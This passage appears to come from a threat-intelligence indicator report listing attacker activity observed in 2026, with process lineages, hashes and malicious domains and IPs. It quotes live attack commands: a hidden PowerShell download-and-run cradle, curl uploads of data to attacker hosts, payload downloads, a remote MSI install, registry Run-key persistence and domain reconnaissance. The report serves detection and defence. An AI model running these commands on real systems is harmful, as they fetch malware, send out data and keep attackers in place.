- "CSIDL\_SYSTEM\net.exe" group "Domain Computers" /domain
- net user [REMOVED]

**SHA256 file hash:** None

**Description:** RAT

**File name(s):** cmd.exe

**Last seen:** 2026-04-10

**Process lineage(s):**

- mpextms.exe <= msixexec.exe <= services.exe <= wininit.exe

**Command(s):**

- CSIDL\_SYSTEM\cmd.exe /c powershell -w hidden -nop -c "\$f=[io.path]::GetTempPath()+'.bat';(irm 'https://www.upd-domain-goloro.com /lkwenfrewk.ico') -replace '%([a-z])','%%%\$1|sc \$f;cmd /v: on /c \$f;ri \$f' > CSIDL\_PROFILE\public\temp.tmp 2>&1

**SHA256 file hash:** None

**Description:** Net

**File name(s):** net.exe

**Last seen:** 2026-03-13

**Process lineage(s):**

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe

**Command(s):**

- net use
- net user [REMOVED] /domain

**SHA256 file hash:** None

**Description:** Curl

**File name(s):** curl.exe

**Last seen:** 2026-03-13

**Process lineage(s):**

- cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe
- cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe

**Command(s):**

- curl -v -X POST http://mail.authorized-logins.net/0DixM7RUYTZrM9RnGUL8 -H "Content-Type: application/octet-stream" --data-binary "[REMOVED]" --max-time 300
- curl -v -X POST http://php.authorized-logins.net/poQfCobUL1ZoN78LZmxX -H "Content-Type: application/octet-stream" --data-binary "[REMOVED]" --max-time 300
- curl -v http://mail.authorized-logins.net/node.zip -o CSIDL\_PROFILE\appdata\local\temp\node.zip
- curl -v http://sss.authorized-logins.net/erojgeg3riu4.docx
- curl -v http://www.authorized-logins.net/erojgeg3riu4.docx
- curl -v https://windows.php.net/downloads/releases/php-8.2.30-nts-Win32-vs16-x64.zip -o CSIDL\_PROFILE\appdata\local\temp\php.zip
- curl http://mail.authorized-logins.net/0DixM7RUYTZrM9RnGUL8@ -o CSIDL\_PROFILE\appdata\local\node-v22.4.1-win-x64\template.txt
- curl http://php.authorized-logins.net/poQfCobUL1ZoN78LZmxX@ -o CSIDL\_PROFILE\appdata\local\php\default.txt

**SHA256 file hash:** None

**Description:** Add run key

**File name(s):** reg.exe

**Last seen:** 2026-04-16

**Process lineage(s):**

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= mpextms.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe

**Command(s):**

- reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Comms" /t REG\_SZ /d "\"CSIDL\_PROFILE\appdata\local\node-v22.4.1-win-x64\node.exe\" \"CSIDL\_PROFILE\appdata\local\node-v22.4.1-win-x64\fors.log\"" /f

**SHA256 file hash:** None

**Description:** Curl

**File name(s):** curl.exe

**Last seen:** 2026-05-25

**Process lineage(s):**

- cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- powershell.exe <= winrar.exe <= outlook.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe

**Command(s):**

- "CSIDL\_SYSTEM\curl.exe" 194.87.57.81/nfg6 -o CSIDL\_COMMON\_APPDATA\t.cmd
- curl -X POST http://sql-updater-service.com/1oNokEn1UQtG6nP6A5v1 -H "[REMOVED]" --max-time 300
- curl http://199.91.221.42/lewjkrh9832ww.pdf

**SHA256 file hash:** None  
**Description:** MSIexec  
**File name(s):** msixec.exe  
**Last seen:** 2026-04-15  
**Process lineage(s):**

- cmd.exe <= conhost.exe <= explorer.exe <= userinit.exe <= winlogon.exe <= smss.exe <= smss.exe

**Command(s):**

- msixec /q /i https://thomphon.com/payload/update.msi?tk=[REMOVED]

**SHA256 file hash:** None  
**Description:** Curl  
**File name(s):** curl.exe  
**Last seen:** 2026-04-27  
**Process lineage(s):**

- cmd.exe <= explorer.exe
- cmd.exe <= cmd.exe <= explorer.exe
- cmd.exe <= conhost.exe <= explorer.exe

**Command(s):**

- curl -s https://oeannon.com/t2?tk=[REMOVED] -o CSIDL\_PROFILE\appdata\local\temp\t.cmd
- curl -s https://oeannon.com/t2?tk=[REMOVED] -o CSIDL\_PROFILE\appdata\local\temp\t.cmd
- curl -sLo CSIDL\_PROFILE\appdata\local\temp\t.cmd https://oeannon.com/t2?tk=[REMOVED]
- curl -skLo CSIDL\_PROFILE\appdata\local\temp\t https://cj06y9v4xab.com/d
- curl https://grande-luna.top/o

**SHA256 file hash:** None  
**Description:** Net  
**File name(s):** net1.exe  
**Last seen:** 2026-04-08  
**Process lineage(s):**

- cmd.exe <= node.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe
- net.exe <= cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe

**Command(s):**

- CSIDL\_SYSTEM\net1 group "Domain Computers" /domain
- CSIDL\_SYSTEM\net1 user [REMOVED] /domain
- net1 group "[REMOVED]" /domain
- net1 group "[REMOVED]" /domain
- net1 session

**SHA256 file hash:** None  
**Description:** Add run key  
**File name(s):** reg.exe  
**Last seen:** 2026-03-13  
**Process lineage(s):**

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe

**Command(s):**

- reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Splashtop" /t REG\_SZ /d "\"CSIDL\_PROFILE\appdata\local\node-v22.4.1-win-x64\node.exe" \"CSIDL\_PROFILE\appdata\local\node-v22.4.1-win-x64\template.txt\"" /f

**SHA256 file hash:** None  
**Description:** Certutil  
**File name(s):** certutil.exe

Last seen: 2026-04-08

**Process lineage(s):**

- cmd.exe <= node.exe <= node.exe <= cmd.exe <= cmd.exe <= cmd.exe <= powershell.exe <= cmd.exe <= cmd.exe <= explorer.exe <= userinit.exe <= winlogon.exe

**Command(s):**

- certutil -store My

**SHA256 file hash(es):**

1e41c7bfaa6aa3b93b6cc024274a10e33f3e12fe7c98c1db387ef8927f9d1984  
34d798a6c55e57ed0932b6499f4fbc5454bdfca903307be101a0594b0ac07bc  
3f797a639bc855bc6d5471f327924b62d10900ddec49b970eca6604142bbb4be  
59e3c4cb06331b4f2d78a9a0592f3747e573bd01c5a7650c26361d1e25520712  
8c935feec4bd05d5d918df308be417532fb42608fb989a08eab183e0ae699235  
afd5f1ed45a9867daf3bc64152cef460a06b164c8183e490db39146d4749a82c  
db972979d508e75fe730d3b72c2701470fbdadaef8ebdd674744754fa44438ca5  
f591275a8f014b29e567529d67c54eb7bb4473db1c38737d6bfd5b3d52c9344e  
fb3630822b70bacb56aa4cec29b5a0e3e9acb3920809e70310a4003385a6d34a

**File name(s):**

endpointlp.dll  
f.dll  
n.dll  
version.dll

**Network indicator(s):**

142.93.242.144  
144.31.53.78  
198.13.159.44  
199.91.221.42  
authorized-logins.net  
b6w9m2z5x8q1v3k.top  
carrolc.com  
cj06y9v4xab.com  
cwrwright.com  
defs.updater-worelos.com  
ftps.upd-domain-goloro.com  
grande-luna.top  
hxxp://thomphon.com/update.msi  
human-check.top  
mail.authorized-logins.net  
mailes.upd-domain-goloro.com  
mails.updater-worelos.com  
mueleer.com  
nano.upscale-kolo.com  
oeannon.com  
php.authorized-logins.net  
rotoa-upda-lo.com  
sql-updater-service.com  
sss.authorized-logins.net  
thomphon.com  
upd-domain-goloro.com  
update.update-fall.com  
updater-worelos.com  
upscale-kolo.com  
w3xasv14culvnqj.top

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